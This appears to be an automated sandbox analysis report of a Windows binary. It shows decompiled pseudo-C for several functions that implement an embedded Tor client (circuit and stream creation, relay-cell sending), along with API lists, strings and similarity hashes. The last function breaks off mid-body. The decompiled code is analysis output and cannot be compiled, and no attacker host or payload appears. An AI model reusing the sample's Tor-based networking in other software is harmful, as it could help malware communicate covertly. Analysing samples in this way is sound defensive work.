			E00007FF77FF79BAAD6D8(void* __edx, void* __ebp, void* __eflags, long long __rbx, long long __rcx, void* __rdx, void* __r8, void* __r9) {
				void* __rsi;
				void* __rbp;
				void* _t87;
				void* _t92;
				void* _t99;
				void* _t101;
				signed int _t102;
				signed int _t103;
				void* _t129;
				void* _t140;
				intOrPtr _t144;
				long long _t185;
				signed long long _t190;
				void* _t197;
				intOrPtr _t198;
				long long _t203;
				void* _t205;
				void* _t207;
				long long* _t208;
				void* _t210;
				void* _t211;
				long long _t220;
				void* _t225;
				intOrPtr _t226;
				void* _t228;
				intOrPtr _t229;
				void* _t231;
				void* _t232;
				void* _t234;
				long long _t236;
				void* _t238;
				long long _t239;

				_t225 = __r9;
				_t129 = _t210;
				 *((long long*)(_t129 + 8)) = __rcx;
				_t208 = _t210 - 0x60;
				_t211 = _t210 - 0x160;
				 *_t208 = 0xfffffffe;
				 *((long long*)(_t129 + 0x10)) = __rbx;
				asm("movaps [eax-0x48], xmm6");
				_t232 = __rdx;
				_t239 = __rcx;
				r14d = 0;
				 *(_t211 + 0x20) = r14d;
				E00007FF77FF79BAA1BA8(__r8, _t208 - 0x40);
				_t7 = _t234 + 2; // 0x2
				_t102 = _t7;
				 *(_t211 + 0x20) = _t102;
				 *((long long*)(_t211 + 0x30)) = "\n";
				 *((long long*)(_t211 + 0x38)) = 0x9bab37f1;
				asm("movaps xmm0, [esp+0x30]");
				asm("movdqa [esp+0x60], xmm0");
				_t87 = E00007FF77FF79BAA1C90(__r8, _t208 + 8);
				_t103 = _t102 & 0xfffffffd;
				 *(_t211 + 0x20) = _t103;
				E00007FF77FF79BAA1BDC(_t87, _t208 - 0x40);
				 *(_t211 + 0x78) = _t234;
				 *(_t208 - 0x80) = _t234;
				 *(_t208 - 0x78) = _t234;
				 *(_t239 + 8) = _t234;
				 *(_t239 + 0x10) = _t234;
				 *(_t239 + 0x18) = _t234;
				 *(_t211 + 0x20) = _t103 | 0x00000001;
				_t144 =  *((intOrPtr*)(_t208 + 0x10));
				_t229 =  *((intOrPtr*)(_t208 + 0x18));
				if (_t144 == _t229) goto 0x9baada12;
				 *((long long*)(_t211 + 0x30)) = 0x9bab53a8;
				 *((long long*)(_t211 + 0x38)) = 0x9bab53a9;
				asm("movaps xmm6, [esp+0x30]");
				asm("movdqa [esp+0x50], xmm6");
				E00007FF77FF79BAA1C90(_t144, _t208 - 0x60);
				_t226 =  *((intOrPtr*)(_t208 - 0x58));
				E00007FF77FF79BAA1E74(_t226, _t208 + 0xb0);
				if ( *((intOrPtr*)(_t208 + 0xb0)) != 0xa91cd3a5) goto 0x9baad8dc;
				_t185 =  *((intOrPtr*)(_t226 + 0x28));
				_t33 =  *((intOrPtr*)(_t226 + 0x30)) - _t185 - 1; // 0x7ff79baa238a
				asm("dec eax");
				 *((long long*)(_t211 + 0x30)) = _t185;
				 *((long long*)(_t211 + 0x38)) = (_t33 &  ~( *((intOrPtr*)(_t226 + 0x30)) - _t185)) + _t185;
				asm("movaps xmm0, [esp+0x30]");
				asm("movdqa [esp+0x50], xmm0");
				E00007FF77FF79BAA2A90(_t103 | 0x00000001,  *((intOrPtr*)(_t208 + 0xb0)) - 0xa91cd3a5, _t208 - 0x40, _t211 + 0x50, _t211 + 0x50);
				 *((long long*)(_t208 - 0x70)) =  *((intOrPtr*)(_t208 - 0x38));
				 *((long long*)(_t208 - 0x68)) =  *((intOrPtr*)(_t208 - 0x30));
				asm("movaps xmm0, [ebp-0x70]");
				asm("movdqa [esp+0x50], xmm0");
				_t92 = E00007FF77FF79BAA480C( *((intOrPtr*)(_t208 - 0x30)), _t208 - 0x20, _t211 + 0x50);
				_t198 =  *((intOrPtr*)(_t232 + 0x38));
				if (_t198 ==  *((intOrPtr*)(_t232 + 0x40))) goto 0x9baad8aa;
				_t236 =  *((intOrPtr*)(_t208 - 0x10)) -  *((intOrPtr*)(_t208 - 0x18));
				if ( *((intOrPtr*)(_t198 + 0x10)) -  *((intOrPtr*)(_t198 + 8)) != _t236) goto 0x9baad89d;
				0x9bab024d();
				if (_t92 == 0) goto 0x9baad8c1;
				if (_t198 + 0x28 !=  *((intOrPtr*)(_t232 + 0x40))) goto 0x9baad880;
				r14d = 0;
				free(_t238);
				if (_t236 == 0) goto 0x9baad8ca;
				goto 0x9baad8cd;
				r14d = 0;
				goto 0x9baad8ad;
				_t203 = _t236;
				free(_t234);
				goto 0x9baad9fc;
				if ( *((intOrPtr*)(_t208 + 0xb0)) != 0xd51c67c1) goto 0x9baad8f2;
				goto 0x9baad9fc;
				E00007FF77FF79BAA1E74(_t144, _t208 + 0xb8);
				if ( *((intOrPtr*)(_t208 + 0xb8)) != 0xdd1c8579) goto 0x9baad91c;
				if (1 != 1) goto 0x9baad91c;
				goto 0x9baad9fc;
				_t190 = _t211 + 0x40;
				E00007FF77FF79BAA1E74(_t144, _t190);
				if ( *((intOrPtr*)(_t211 + 0x40)) != 0xd51c94bd) goto 0x9baad9d4;
				if (2 != 2) goto 0x9baad9fc;
				if (_t203 == 0) goto 0x9baad9c3;
				 *((long long*)(_t208 + 0x28)) = _t203;
				_t220 =  *(_t211 + 0x78);
				asm("dec eax");
				 *((long long*)(_t211 + 0x60)) = _t220;
				 *((long long*)(_t211 + 0x68)) = (_t190 &  *(_t208 - 0x80) - _t220 - 0x00000001) + _t220;
				asm("movaps xmm0, [esp+0x60]");
				asm("movdqa [esp+0x50], xmm0");
				_t193 = _t211 + 0x50;
				E00007FF77FF79BAADA4C(E00007FF77FF79BAA24D8(_t203, _t144, _t208 + 0x30, _t211 + 0x50, _t225, _t226) * ( *(_t239 + 0x10) -  *(_t239 + 8)), _t144, _t239, _t208 + 0x28, (_t193 >> 4 >> 0x3f) + (_t193 >> 4));
				free(_t231);
				_t140 =  *(_t211 + 0x78);
				 *(_t208 - 0x80) = _t140;
				 *_t140 = r14b;
				goto 0x9baad9fc;
				if (r14d != 2) goto 0x9baad9fc;
				asm("dec ebp");
				E00007FF77FF79BAA1D58(_t144, _t211 + 0x70,  *((intOrPtr*)(_t144 + 8)), _t205, _t208, (_t193 >> 0x00000004 >> 0x0000003f) + (_t193 >> 0x00000004) &  *((intOrPtr*)(_t144 + 0x10)) -  *((intOrPtr*)(_t144 + 8)) - 0x00000001, _t228, _t197);
				_t99 = E00007FF77FF79BAA1F00(_t144, _t208 - 0x60, _t205, _t205);
				if (_t144 + 0x20 != _t229) goto 0x9baad7cb;
				E00007FF77FF79BAA1BDC(_t99, _t211 + 0x70);
				_t101 = E00007FF77FF79BAA1F00(_t144 + 0x20, _t208 + 8, _t205, _t207);
				asm("inc ecx");
				return _t101;
			}

0x7ff79baad6d8
0x7ff79baad6d8
0x7ff79baad6db
0x7ff79baad6ea
0x7ff79baad6ef
0x7ff79baad6f6
0x7ff79baad6fe
0x7ff79baad702
0x7ff79baad709
0x7ff79baad70c
0x7ff79baad70f
0x7ff79baad712
0x7ff79baad725
0x7ff79baad72a
0x7ff79baad72a
0x7ff79baad72e
0x7ff79baad739
0x7ff79baad745
0x7ff79baad74a
0x7ff79baad74f
0x7ff79baad761
0x7ff79baad767
0x7ff79baad76a
0x7ff79baad772
0x7ff79baad77d
0x7ff79baad782
0x7ff79baad786
0x7ff79baad78a
0x7ff79baad78e
0x7ff79baad792
0x7ff79baad799
0x7ff79baad79d
0x7ff79baad7a1
0x7ff79baad7a8
0x7ff79baad7b5
0x7ff79baad7c1
0x7ff79baad7c6
0x7ff79baad7cb
0x7ff79baad7dd
0x7ff79baad7ea
0x7ff79baad7f1
0x7ff79baad800
0x7ff79baad806
0x7ff79baad811
0x7ff79baad818
0x7ff79baad821
0x7ff79baad826
0x7ff79baad82b
0x7ff79baad830
0x7ff79baad83f
0x7ff79baad849
0x7ff79baad851
0x7ff79baad855
0x7ff79baad859
0x7ff79baad868
0x7ff79baad86e
0x7ff79baad876
0x7ff79baad87c
0x7ff79baad88e
0x7ff79baad894
0x7ff79baad89b
0x7ff79baad8a5
0x7ff79baad8a7
0x7ff79baad8b1
0x7ff79baad8ba
0x7ff79baad8bf
0x7ff79baad8c5
0x7ff79baad8c8
0x7ff79baad8ca
0x7ff79baad8d1
0x7ff79baad8d7
0x7ff79baad8e6
0x7ff79baad8ed
0x7ff79baad8fc
0x7ff79baad90b
0x7ff79baad910
0x7ff79baad917
0x7ff79baad91c
0x7ff79baad924
0x7ff79baad931
0x7ff79baad93a
0x7ff79baad943
0x7ff79baad945
0x7ff79baad94d
0x7ff79baad95c
0x7ff79baad965
0x7ff79baad96a
0x7ff79baad96f
0x7ff79baad974
0x7ff79baad97a
0x7ff79baad9b3
0x7ff79baad9bd
0x7ff79baad9c6
0x7ff79baad9cb
0x7ff79baad9cf
0x7ff79baad9d2
0x7ff79baad9d7
0x7ff79baad9eb
0x7ff79baad9f6
0x7ff79baada00
0x7ff79baada0c
0x7ff79baada17
0x7ff79baada21
0x7ff79baada35
0x7ff79baada48

APIs

Part of subcall function 00007FF79BAA1BDC: free.MSVCRT ref: 00007FF79BAA1BF2

Part of subcall function 00007FF79BAA2A90: memmove.MSVCRT ref: 00007FF79BAA2B4C
Part of subcall function 00007FF79BAA2A90: memmove.MSVCRT ref: 00007FF79BAA2B7E
Part of subcall function 00007FF79BAA2A90: memmove.MSVCRT ref: 00007FF79BAA2BDB

memcmp.MSVCRT ref: 00007FF79BAAD894
free.MSVCRT ref: 00007FF79BAAD8B1
free.MSVCRT ref: 00007FF79BAAD8D1
free.MSVCRT ref: 00007FF79BAAD9BD

Part of subcall function 00007FF79BAA1D58: memmove.MSVCRT ref: 00007FF79BAA1DC2

Strings

gfffffff, xrefs: 00007FF79BAAD991

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: freememmove$memcmp
String ID: gfffffff
API String ID: 4015841801-1523873471
Opcode ID: f4d241675d92e963536b59fffa79b47897bd8b90c576565351e2c73593c06fb9
Instruction ID: 9aafbe9b82507ba175b45dec598001be23d1f8b7bfa2697fdafb2f12d503ebe5
Opcode Fuzzy Hash: f4d241675d92e963536b59fffa79b47897bd8b90c576565351e2c73593c06fb9
Instruction Fuzzy Hash: BAA1B072A18B8995EB20EF79E8804BDF361FB58794F505136EE8D23A68DF38D641C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA49E8 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00007FF77FF79BAA49E8(void* __edi, signed int __esi, void* __eflags, long long __rbx, void* __rcx, signed long long* __rdx, long long __rsi, intOrPtr* __r8, void* __r9) {
				void* __rdi;
				void* __rbp;
				void* __r14;
				void* _t65;
				void* _t71;
				void* _t84;
				signed int _t87;
				signed int _t96;
				intOrPtr* _t102;
				void* _t104;
				intOrPtr _t110;
				intOrPtr* _t121;
				long long _t126;
				void* _t141;
				void* _t142;
				void* _t148;
				signed long long* _t149;
				void* _t156;
				void* _t157;
				void* _t159;
				void* _t160;
				void* _t176;
				void* _t178;
				void* _t181;
				void* _t182;

				_t96 = __esi;
				_t95 = __edi;
				_t104 = _t159;
				 *((long long*)(_t104 + 0x10)) = __rdx;
				_t157 = _t104 - 0x5f;
				_t160 = _t159 - 0xf0;
				 *((long long*)(_t157 + 0x17)) = 0xfffffffe;
				 *((long long*)(_t104 + 8)) = __rbx;
				 *((long long*)(_t104 + 0x18)) = __rsi;
				_t149 = __rdx;
				_t182 = __rcx;
				 *(_t160 + 0x30) =  *(_t160 + 0x30) & 0x00000000;
				 *((long long*)(_t157 + 7)) = "%s:%hi";
				 *((long long*)(_t157 + 0xf)) = 0x9bab3cd6;
				asm("movaps xmm0, [ebp+0x7]");
				asm("movdqa [ebp+0x27], xmm0");
				r9d = r9w & 0xffffffff;
				_t141 = _t157 + 0x27;
				E00007FF77FF79BAA1DEC(_t65, __eflags, _t157 - 0x39, _t141,  *__r8, __r9);
				r13d = 1;
				_t142 =  !=  ?  *((intOrPtr*)(_t157 - 0x29)) -  *((intOrPtr*)(_t157 - 0x31)) : _t141;
				_t14 = _t157 - 0x19; // -24
				E00007FF77FF79BAA25F4( *((intOrPtr*)(_t157 - 0x29)) -  *((intOrPtr*)(_t157 - 0x31)), _t14, _t181);
				_t126 =  *((intOrPtr*)(_t157 - 0x11));
				 *((long long*)(_t157 - 0x59)) = 0x9bab3870;
				 *((long long*)(_t157 - 0x59)) = 0x9bab3bd8;
				 *((long long*)(_t157 - 0x51)) = _t126;
				 *((long long*)(_t157 - 0x49)) =  *((intOrPtr*)(_t157 - 9));
				 *((long long*)(_t157 - 0x41)) = _t126;
				_t110 =  *((intOrPtr*)(_t157 - 0x59));
				 *((intOrPtr*)(_t110 + 0x40))(_t156);
				_t28 = _t110 - 1; // -1
				if (_t28 - 0xfffffffd > 0) goto 0x9baa4ace;
				_t120 = __rbx + _t110;
				if (__rbx + _t110 -  *((intOrPtr*)(_t157 - 0x29)) -  *((intOrPtr*)(_t157 - 0x31)) < 0) goto 0x9baa4aa7;
				 *0x9babd004 = ( *0x9babd004 & 0x0000ffff) + r13w;
				 *(_t157 + 0x7f) =  *0x9babd004 & 0x0000ffff;
				_t30 = _t157 + 0x7f; // 0x80
				_t71 = E00007FF77FF79BAA6FC8(__rbx + _t110, _t160 + 0x38, _t30,  *((intOrPtr*)(_t157 - 0x29)) -  *((intOrPtr*)(_t157 - 0x31)), __rcx);
				_t34 = _t157 + 0x7f; // 0x80
				E00007FF77FF79BAA6E90(_t71, _t120, __rcx + 0x10, _t34,  *((intOrPtr*)(_t157 - 0x29)) -  *((intOrPtr*)(_t157 - 0x31)), _t157, _t160 + 0x38, _t178, _t176);
				_t87 =  *(_t157 + 0x7f) & 0x0000ffff;
				 *(_t160 + 0x20) = _t87;
				E00007FF77FF79BAA1720(0, __edi, 0x9babd010, "circuit::create_stream() [url: %s, stream: %u, status: creating]\n",  *((intOrPtr*)(_t157 - 0x31)));
				r14d = 3;
				 *((intOrPtr*)(__rcx + 0xc)) = r14d;
				 *((long long*)(_t157 - 0x69)) =  *((intOrPtr*)(_t157 - 0x11));
				 *((long long*)(_t157 - 0x61)) =  *((intOrPtr*)(_t157 - 9));
				asm("movaps xmm0, [ebp-0x69]");
				asm("movdqa [ebp-0x69], xmm0");
				 *(_t160 + 0x20) = r14b;
				_t44 = _t157 - 0x69; // -104
				r8b = r13b;
				E00007FF77FF79BAA5C58( *0x9babd004 & 0x0000ffff,  *(_t157 + 0x7f) & 0x0000ffff, _t96, _t120, __rcx, _t149, 0x9babd010, _t44);
				r8d = 0x7530;
				if (E00007FF77FF79BAA6248( *((intOrPtr*)(_t157 - 0x31)) + 1, _t120, _t182, _t149, 0x9babd010) != 0) goto 0x9baa4bbd;
				 *(_t160 + 0x20) = _t87;
				E00007FF77FF79BAA1720(0, _t95, 0x9babd010, "circuit::create_stream() [url: %s, stream: %u, status: created]\n",  *((intOrPtr*)(_t157 - 0x31)));
				 *_t149 =  *((intOrPtr*)(_t160 + 0x38));
				_t149[1] =  *((intOrPtr*)(_t157 - 0x79));
				asm("xorps xmm0, xmm0");
				asm("movdqu [esp+0x38], xmm0");
				 *(_t160 + 0x30) = r13d;
				goto 0x9baa4c18;
				E00007FF77FF79BAA1720(r14d, _t95, 0x9babd010, "circuit::create_stream() [is_ready() == false]\n",  *((intOrPtr*)(_t157 - 0x31)));
				E00007FF77FF79BAAB648(_t120,  *((intOrPtr*)(_t160 + 0x38)), _t34, _t149, 0x9babd010,  *((intOrPtr*)(_t157 - 0x31)));
				 *_t149 =  *_t149 & 0x00000000;
				_t149[1] = _t149[1] & 0x00000000;
				 *(_t160 + 0x30) = r13d;
				_t121 =  *((intOrPtr*)(_t157 - 0x79));
				_t102 = _t121;
				if (_t102 == 0) goto 0x9baa4c18;
				asm("lock xadd [ebx+0x8], eax");
				if (_t102 != 0) goto 0x9baa4c18;
				 *((intOrPtr*)( *_t121))();
				asm("lock xadd [ebx+0xc], eax");
				if ((_t96 | 0xffffffff) + (_t96 | 0xffffffff) != 0) goto 0x9baa4c18;
				_t84 =  *((intOrPtr*)( *_t121 + 8))();
				 *((long long*)(_t157 - 0x59)) = 0x9bab3870;
				free(_t148);
				_t61 = _t157 - 0x39; // -56
				return E00007FF77FF79BAA1BDC(_t84, _t61);
			}

0x7ff79baa49e8
0x7ff79baa49e8
0x7ff79baa49e8
0x7ff79baa49eb
0x7ff79baa49f7
0x7ff79baa49fb
0x7ff79baa4a02
0x7ff79baa4a0a
0x7ff79baa4a0e
0x7ff79baa4a12
0x7ff79baa4a15
0x7ff79baa4a18
0x7ff79baa4a24
0x7ff79baa4a2f
0x7ff79baa4a33
0x7ff79baa4a37
0x7ff79baa4a3c
0x7ff79baa4a43
0x7ff79baa4a4b
0x7ff79baa4a59
0x7ff79baa4a62
0x7ff79baa4a66
0x7ff79baa4a6a
0x7ff79baa4a70
0x7ff79baa4a7f
0x7ff79baa4a8a
0x7ff79baa4a8e
0x7ff79baa4a92
0x7ff79baa4a96
0x7ff79baa4aa7
0x7ff79baa4ab9
0x7ff79baa4abc
0x7ff79baa4ac4
0x7ff79baa4ac6
0x7ff79baa4acc
0x7ff79baa4ae0
0x7ff79baa4ae7
0x7ff79baa4aee
0x7ff79baa4af7
0x7ff79baa4b06
0x7ff79baa4b0a
0x7ff79baa4b0f
0x7ff79baa4b13
0x7ff79baa4b2e
0x7ff79baa4b33
0x7ff79baa4b39
0x7ff79baa4b41
0x7ff79baa4b49
0x7ff79baa4b4d
0x7ff79baa4b51
0x7ff79baa4b56
0x7ff79baa4b5b
0x7ff79baa4b5f
0x7ff79baa4b69
0x7ff79baa4b72
0x7ff79baa4b85
0x7ff79baa4b87
0x7ff79baa4b98
0x7ff79baa4ba2
0x7ff79baa4ba9
0x7ff79baa4bad
0x7ff79baa4bb0
0x7ff79baa4bb6
0x7ff79baa4bbb
0x7ff79baa4bc7
0x7ff79baa4bd1
0x7ff79baa4bd6
0x7ff79baa4bda
0x7ff79baa4bdf
0x7ff79baa4be4
0x7ff79baa4be8
0x7ff79baa4beb
0x7ff79baa4bf2
0x7ff79baa4bf9
0x7ff79baa4c01
0x7ff79baa4c05
0x7ff79baa4c0c
0x7ff79baa4c14
0x7ff79baa4c1f
0x7ff79baa4c27
0x7ff79baa4c2e
0x7ff79baa4c55

APIs

Part of subcall function 00007FF79BAA1DEC: _vscprintf.MSVCRT ref: 00007FF79BAA1E21
Part of subcall function 00007FF79BAA1DEC: vsprintf_s.MSVCRT ref: 00007FF79BAA1E5F

free.MSVCRT ref: 00007FF79BAA4C27

Strings

%s:%hi, xrefs: 00007FF79BAA4A1D
circuit::create_stream() [url: %s, stream: %u, status: created], xrefs: 00007FF79BAA4B8F
circuit::create_stream() [is_ready() == false], xrefs: 00007FF79BAA4BBD
circuit::create_stream() [url: %s, stream: %u, status: creating], xrefs: 00007FF79BAA4B1B

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: _vscprintffreevsprintf_s
String ID: %s:%hi$circuit::create_stream() [is_ready() == false]$circuit::create_stream() [url: %s, stream: %u, status: created]$circuit::create_stream() [url: %s, stream: %u, status: creating]
API String ID: 846591216-3309545152
Opcode ID: a83f0a50c80e0bf825ed021bab91c4eae3855d5b4a086a2151db39288ebea341
Instruction ID: 5051002a2d0313878ea35256d937700dad4b0242218a8d1acfccda4ca9041e74
Opcode Fuzzy Hash: a83f0a50c80e0bf825ed021bab91c4eae3855d5b4a086a2151db39288ebea341
Instruction Fuzzy Hash: A2718E26B04B5995E710DFB9D4406ECB3A1FB44B98F804236EA5D17BA8DF38D615C390

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA5C58 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00007FF77FF79BAA5C58(void* __ecx, signed int __edx, void* __esi, long long __rbx, intOrPtr* __rcx, long long __rdi, long long __rsi, void* __r9) {
				signed int _t35;
				signed int _t37;
				void* _t45;
				signed short _t53;
				intOrPtr* _t63;
				intOrPtr* _t69;
				void* _t90;
				intOrPtr* _t91;
				void* _t92;
				void* _t101;
				intOrPtr* _t102;

				_t96 = __r9;
				_t88 = __rsi;
				_t63 = _t91;
				_t90 = _t63 - 0x57;
				_t92 = _t91 - 0x100;
				 *((long long*)(_t90 - 0x79)) = 0xfffffffe;
				 *((long long*)(_t63 + 8)) = __rbx;
				 *((long long*)(_t63 + 0x10)) = __rsi;
				 *((long long*)(_t63 + 0x18)) = __rdi;
				asm("movaps [eax-0x38], xmm6");
				r15b = r8b;
				_t53 = __edx & 0x0000ffff;
				_t102 = __rcx;
				r13d = 0;
				 *(_t92 + 0x50) = r13d;
				r8d = __edx & 0x0000ffff;
				_t35 = E00007FF77FF79BAA510C(__esi, __rbx, __rcx, _t90 - 0x71, __rdi, __rsi);
				_t8 = _t101 + 1; // 0x1
				r9d = _t8;
				 *(_t92 + 0x50) = r9d;
				if ( *_t63 != _t101) goto 0x9baa5cbf;
				sil = r9b;
				if (_t53 != 0) goto 0x9baa5cc2;
				sil = r13b;
				r9d = r9d & 0xfffffffe;
				 *(_t92 + 0x50) = r9d;
				_t69 =  *((intOrPtr*)(_t90 - 0x69));
				if (_t69 == 0) goto 0x9baa5cff;
				asm("lock xadd [ebx+0x8], eax");
				if ((_t35 | 0xffffffff) != 1) goto 0x9baa5cff;
				_t37 =  *((intOrPtr*)( *_t69))();
				asm("lock xadd [ebx+0xc], eax");
				if ((_t37 | 0xffffffff) != 1) goto 0x9baa5cff;
				 *((intOrPtr*)( *_t69 + 8))();
				if (sil == 0) goto 0x9baa5d25;
				r9d = _t53 & 0x0000ffff;
				E00007FF77FF79BAA1720(2, _t53, 0x9babd010, "circuit::send_relay_cell() attempt to send cell to non-existent stream-id: %u\n", _t96);
				goto 0x9baa5de8;
				r10d =  *(__rcx + 8);
				r8d = r15b & 0xffffffff;
				_t67 =  <  ? " (MSB set)" : 0x9bab391d;
				r9d = r10d;
				asm("inc ecx");
				 *(_t92 + 0x40) = r8d;
				 *(_t92 + 0x38) =  *(_t90 + 0x7f) & 0x000000ff;
				 *(_t92 + 0x30) = _t53 & 0x0000ffff;
				 *(_t92 + 0x28) = r10d;
				 *((long long*)(_t92 + 0x20)) =  <  ? " (MSB set)" : 0x9bab391d;
				E00007FF77FF79BAA1720(0, _t53, 0x9babd010, "tor_socket::send_cell() [circuit: %i%s [%X], stream: %u, command: %i, relay_command: %i]\n", " (MSB set)");
				asm("inc ecx");
				asm("xorps xmm0, xmm0");
				asm("movdqa [ebp-0x61], xmm0");
				r8b =  *(_t90 + 0x7f);
				E00007FF77FF79BAA45C0( *(__rcx + 8), _t90 - 0x41);
				 *(_t90 - 0x11) = r15b;
				 *(_t90 - 0xf) = _t53;
				asm("movdqa [ebp-0x51], xmm6");
				E00007FF77FF79BAA5C00(E00007FF77FF79BAA480C( <  ? " (MSB set)" : 0x9bab391d, _t90 - 9, _t90 - 0x51), 0, _t69, __rcx, _t90 - 0x41, _t88);
				_t45 = E00007FF77FF79BAAA86C( <  ? " (MSB set)" : 0x9bab391d,  *_t102, _t67);
				free(??);
				free(??);
				asm("inc ecx");
				return _t45;
			}

0x7ff79baa5c58
0x7ff79baa5c58
0x7ff79baa5c58
0x7ff79baa5c64
0x7ff79baa5c68
0x7ff79baa5c6f
0x7ff79baa5c77
0x7ff79baa5c7b
0x7ff79baa5c7f
0x7ff79baa5c83
0x7ff79baa5c8a
0x7ff79baa5c8d
0x7ff79baa5c90
0x7ff79baa5c93
0x7ff79baa5c96
0x7ff79baa5c9b
0x7ff79baa5ca3
0x7ff79baa5ca9
0x7ff79baa5ca9
0x7ff79baa5cad
0x7ff79baa5cb5
0x7ff79baa5cba
0x7ff79baa5cbd
0x7ff79baa5cbf
0x7ff79baa5cc2
0x7ff79baa5cc6
0x7ff79baa5ccb
0x7ff79baa5cd2
0x7ff79baa5cd7
0x7ff79baa5cdf
0x7ff79baa5ce7
0x7ff79baa5cec
0x7ff79baa5cf4
0x7ff79baa5cfc
0x7ff79baa5d02
0x7ff79baa5d04
0x7ff79baa5d1b
0x7ff79baa5d20
0x7ff79baa5d25
0x7ff79baa5d29
0x7ff79baa5d45
0x7ff79baa5d49
0x7ff79baa5d4c
0x7ff79baa5d51
0x7ff79baa5d56
0x7ff79baa5d5a
0x7ff79baa5d5e
0x7ff79baa5d63
0x7ff79baa5d78
0x7ff79baa5d7d
0x7ff79baa5d82
0x7ff79baa5d85
0x7ff79baa5d8e
0x7ff79baa5d9a
0x7ff79baa5da0
0x7ff79baa5da4
0x7ff79baa5da8
0x7ff79baa5dc2
0x7ff79baa5dcd
0x7ff79baa5dd7
0x7ff79baa5de2
0x7ff79baa5dfc
0x7ff79baa5e0d

APIs

free.MSVCRT ref: 00007FF79BAA5DD7
free.MSVCRT ref: 00007FF79BAA5DE2

Strings

(MSB set), xrefs: 00007FF79BAA5D34
tor_socket::send_cell() [circuit: %i%s [%X], stream: %u, command: %i, relay_command: %i], xrefs: 00007FF79BAA5D68
circuit::send_relay_cell() attempt to send cell to non-existent stream-id: %u, xrefs: 00007FF79BAA5D08

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: free
String ID: (MSB set)$circuit::send_relay_cell() attempt to send cell to non-existent stream-id: %u$tor_socket::send_cell() [circuit: %i%s [%X], stream: %u, command: %i, relay_command: %i]
API String ID: 1294909896-2545454300
Opcode ID: 7e031d52abb07d6001917b309f4c3cadcf8524109eefc5c9d8b9615e826a7ce3
Instruction ID: b338b035cc2a0c74942eebaa9400bdc0b02a6c42de1f82defc22b1b89443b5b4
Opcode Fuzzy Hash: 7e031d52abb07d6001917b309f4c3cadcf8524109eefc5c9d8b9615e826a7ce3
Instruction Fuzzy Hash: A451E332A08A9595E720EF39D8009ADB371FB94768F454236EE5D137B8CF38D645C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAAABEC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 176
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E00007FF77FF79BAAABEC(void* __ecx, void* __edi, void* __eflags, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, void* __r9) {
				intOrPtr _t78;
				void* _t93;
				void* _t117;
				intOrPtr _t118;
				intOrPtr _t121;
				intOrPtr _t122;
				intOrPtr _t123;
				intOrPtr _t124;
				intOrPtr _t125;
				long long _t128;
				long long _t134;
				long long _t140;
				void* _t174;
				void* _t186;
				void* _t187;
				void* _t206;

				_t128 = __rbx;
				_t117 = _t187;
				_t186 = _t117 - 0x5f;
				 *((long long*)(_t186 - 9)) = 0xfffffffe;
				 *((long long*)(_t117 + 0x18)) = __rbx;
				 *((long long*)(_t117 + 0x20)) = __rsi;
				_t78 = E00007FF77FF79BAA1720(0, __edi, 0x9babd010, "tor_socket::send_net_info()\n", __r9);
				_t118 =  *__rcx;
				__imp__time();
				 *((intOrPtr*)(_t186 + 0x67)) = _t78;
				E00007FF77FF79BAA25F4(_t118, _t186 - 0x29);
				_t134 =  *((intOrPtr*)(_t186 - 0x21));
				 *((long long*)(_t186 - 0x49)) = 0x9bab3870;
				 *((long long*)(_t186 - 0x49)) = 0x9bab3bd8;
				 *((long long*)(_t186 - 0x41)) = _t134;
				 *((long long*)(_t186 - 0x39)) =  *((intOrPtr*)(_t186 - 0x19));
				 *((long long*)(_t186 - 0x31)) = _t134;
				 *((long long*)(_t186 - 0x59)) = _t186 - 0x49;
				r15d = 1;
				 *((intOrPtr*)(_t186 - 0x51)) = r15d;
				E00007FF77FF79BAA48B8(__rbx, _t186 - 0x59, _t186 + 0x67);
				 *((char*)(_t186 + 0x67)) = 4;
				_t121 =  *((intOrPtr*)(_t186 - 0x49));
				 *((intOrPtr*)(_t121 + 0x40))();
				_t25 = _t121 - 1; // -1
